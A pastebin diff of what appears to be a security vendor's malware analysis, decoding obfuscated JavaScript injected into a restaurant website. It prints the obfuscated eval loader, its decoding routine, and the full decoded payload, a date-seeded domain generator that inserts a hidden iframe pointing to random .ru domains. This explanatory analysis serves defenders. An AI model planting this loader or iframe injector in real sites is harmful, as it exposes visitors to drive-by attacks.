View difference between Paste ID: Tg8pY5mi and UQbBtbCQ

 /******************************
  * Quttera Web Malware monitor detected malicious JavaScript code
  * that use multiple levels of obfuscation. Decoded payload generates
  * hidden iframes to random websites located under *.ru
  *
  * Full report could be found here: http://quttera.com/detailed_report/www.ristoranteada.eu
  *
  * The initial threat code
  ******************************/
 var gaJsHost = (("https:" == document.location.protocol) ? "https://ssl." : "http://www.");
 document.write(unescape("%3Cscript src='" + gaJsHost + "google-analytics.com/ga.js' type='text/javascript'%3E%3C/script%3E"));
 window.eval(String.fromCharCode(105, 61, 48, 59, 116, 114, 121, 123, 112, 114, 111, 116, 111, 116, 121, 112, 101, 45, 53, 59, 125, 99, 97, 116, 99, 104, 40, 122, 41, 123, 102, 61, 91, 49, 48, 50, 44, ... 116, 114, 121, 123, 113, 61, 100, 111, 99, 117, 109, 101, 110, 116, 46, 99, 114, 101, 97, 116, 101, 69, 108, 101, 109, 101, 110, 116, 40, 34, 98, 34, 41, 59, 105, 102, 40, 101, 41, 113, 46, 97, 112, 112, 101, 110, 100, 67, 104, 105, 108, 100, 40, 113, 43, 34, 34, 41, 59, 125, 99, 97, 116, 99, 104, 40, 102, 119, 98, 101, 119, 101, 41, 123, 119, 61, 102, 59, 115, 61, 91, 93, 59, 125, 13, 10, 114, 61, 83, 116, 114, 105, 110, 103, 59, 122, 61, 40, 40, 101, 41, 63, 34, 67, 111, 100, 101, 34, 58, 34, 34, 41, 59, 102, 111, 114, 40, 59, 49, 51, 51, 51, 45, 53, 43, 53, 62, 105, 59, 105, 43, 61, 49, 41, 123, 106, 61, 105, 59, 105, 102, 40, 101, 41, 115, 61, 115, 43, 114, 46, 102, 114, 111, 109, 67, 104, 97, 114, 67, 111, 100, 101, 40, 40, 119, 91, 106, 93, 47, 40, 50, 45, 49, 43, 106, 37, 50, 41, 41, 41, 59, 125, 13, 10, 105, 102, 40, 102, 41, 101, 40, 115, 41, 59));
 
 /*******************************************************
  * First level of decryption
- *******************************************************
+ *******************************************************/
 i = 0;
 try {
     prototype - 5;
 } catch (z) {
     f = [102, 234, 110, 198, 116, 210, 111, 220, 32, 220, 101, 240, 116, 164, 97, 220, 100, 222, 109, ... 210, 108, 200, 40, 210, 102, 228, 109, 82, 125, 250, 99, 194, 116, 198, 104, 80, 101, 82, 123, 250, 125, 88, 53, 96, 48, 82, 59];
     v = "e" + "v" + "a";
 }
 if (v) e = window[v + "l"];
 try {
     q = document.createElement("b");
     if (e) q.appendChild(q + "");
 } catch (fwbewe) {
     w = f;
     s = [];
 }
 
 r = String;
 z = ((e) ? "Code" : "");
 for (; 1333 - 5 + 5 > i; i += 1) {
     j = i;
     if (e) s = s + r.fromCharCode((w[j] / (2 - 1 + j % 2)));
 }
 if (f) e(s);
 
 /*******************************************************************
  * simplified version of this threat
  *******************************************************************/
 s = "";
 i = 0;
 f = [102, 234, 110, 198, 116, 210, 111, 220, 32, 220, 101, 240, 116, 164, 97, 2....];
 for (; 1333 - 5 + 5 > i; i += 1) { s = s + String.fromCharCode((f[i] / (2 - 1 + i % 2)));}
 eval(s);
 
 
 /*********************************************************************
  * Decoded payload generates hidden iframes to random domains in *.ru
  * http://<random-domain-name>.ru/runforestrun?sid=cx
  ******************************************************************/
 function nextRandomNumber() {
     var hi = this.seed / this.Q;
     var lo = this.seed % this.Q;
     var test = this.A * lo - this.R * hi;
     if (test > 0) {
         this.seed = test
     } else {
         this.seed = test + this.M
     }
     return (this.seed * this.oneOverM)
 }
 function RandomNumberGenerator(unix) {
     var d = new Date(unix * 1000);
     var s = d.getHours() > 12 ? 1 : 0;
     this.seed = 2345678901 + (d.getMonth() * 0xFFFFFF) + (d.getDate() * 0xFFFF) + (Math.round(s * 0xFFF));
     this.A = 48271;
     this.M = 2147483647;
     this.Q = this.M / this.A;
     this.R = this.M % this.A;
     this.oneOverM = 1.0 / this.M;
     this.next = nextRandomNumber;
     return this
 }
 function createRandomNumber(r, Min, Max) {
     return Math.round((Max - Min) * r.next() + Min)
 }
 function generatePseudoRandomString(unix, length, zone) {
     var rand = new RandomNumberGenerator(unix);
     var letters = ['a', 'b', 'c', 'd', 'e', 'f', 'g', 'h', 'i', 'j', 'k', 'l', 'm', 'n', 'o', 'p', 'q', 'r', 's', 't', 'u', 'v', 'w', 'x', 'y', 'z'];
     var str = '';
     for (var i = 0; i < length; i++) {
         str += letters[createRandomNumber(rand, 0, letters.length - 1)]
     }
     return str + '.' + zone
 }
 setTimeout(function () {
     try {
         if (typeof iframeWasCreated2 == "undefined") {
             iframeWasCreated2 = true;
             var unix = Math.round(+new Date() / 1000);
             var domainName = generatePseudoRandomString(unix, 16, 'ru');
             ifrm = document.createElement("IFRAME");
             ifrm.setAttribute("src", "http://" + domainName + "/runforestrun?sid=cx");
             ifrm.style.width = "0px";
             ifrm.style.height = "0px";
             ifrm.style.visibility = "hidden";
             document.body.appendChild(ifrm)
         }
     } catch (e) {}
 }, 500);